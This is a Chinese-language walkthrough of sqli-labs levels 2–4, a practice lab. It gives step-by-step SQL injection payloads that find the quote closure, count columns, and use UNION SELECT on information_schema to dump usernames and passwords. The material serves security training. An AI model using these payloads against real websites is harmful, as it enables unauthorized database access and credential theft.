sqli-labs第二关
首先判断注入类型:
?id=1'
如下图,说明在单引号附近存在错误,推测为数字型,使用等式进行测试
?id=1 and 1=1 --+
?id=1 and 1=2 --+
发现返回值不一样,故判断为数字型注入
?id=1 order by 3 --+ 回显正常
?id=1 order by 4 --+ 报错
有上述的字段数测试可知有三个回显,使用联合查询确定处回显位置这一步后续会尽量省略,只放图:
?id=1 and 1=2 union select 1,2,3 --+
?id=1 and 1=2 union select 1,version(),database() --+
可知当前数据库为security,查询当前数据库中所有的表名:
?id=1 and 1=2 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema ='security' --+
爆出users表中的所有字段名
?id=1 and 1=2 union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name = 'users' --+
爆出所有的账号和密码:
?id=1 and 1=2 union select 1,version(),group_concat(id,username,password) from users --+
sqli-labs第三关
首先测试是否存在注入,确定后判断注入类型:
加单引号报错,提示是单引号加括号注入:
?id=1'
这里的1=2无需加等号,因为是在and后面的一个逻辑运算,并非id值
2、测试回显位置以及爆出数据库名称
?id=1') order by 3 --+ 回显正常
?id=1') order by 4 --+ 回显错误
?id=1') and 1=2 union select 1,2,3 --+ 爆出回显位置
?id=1') and 1=2 union select 1,version(),database() --+
爆出版本号和数据库名称
3、爆出当前数据库的所有表名
?id=1') and 1=2 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
爆出当前所有数据库的表名
4、爆出当前数据库的users表中的所有列名
?id=1') and 1=2 union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' --+
5、爆出users表中选中的字段的内容
?id=1') and 1=2 union select 1,version(),group_concat(id,username,password) from users --+
sqli-labs第四关
1、判断注入类型
添加单引号,页面正常,添加双引号,页面报错,根据报错信息,判断为双引号加括号闭合的sql注入。
?id=1"
这里插一下,这个闭合的逻辑是这样的:
这里蓝色标注的***1"***使我们输入的值并导致报错的值。
2、猜解字段数
?id=1") order by 3 --+ 回显正常
?id=1") order by 4 --+ 回显错误
3、联合注入查询回显位置(略)和数据库版本和数据库名
?id=1") and 1=2 union select 1,2,3 --+
?id=1") and 1=2 union select 1,version(),database()--+
4、联合注入查询当前数据库的表名
?id=1") and 1=2 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
5、联合查询users表中的字段名
?id=1") and 1=2 union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'--+
6、爆出所有账号密码
?id=1") and 1=2 union select 1,version(),group_concat(id,username,password ) from users --+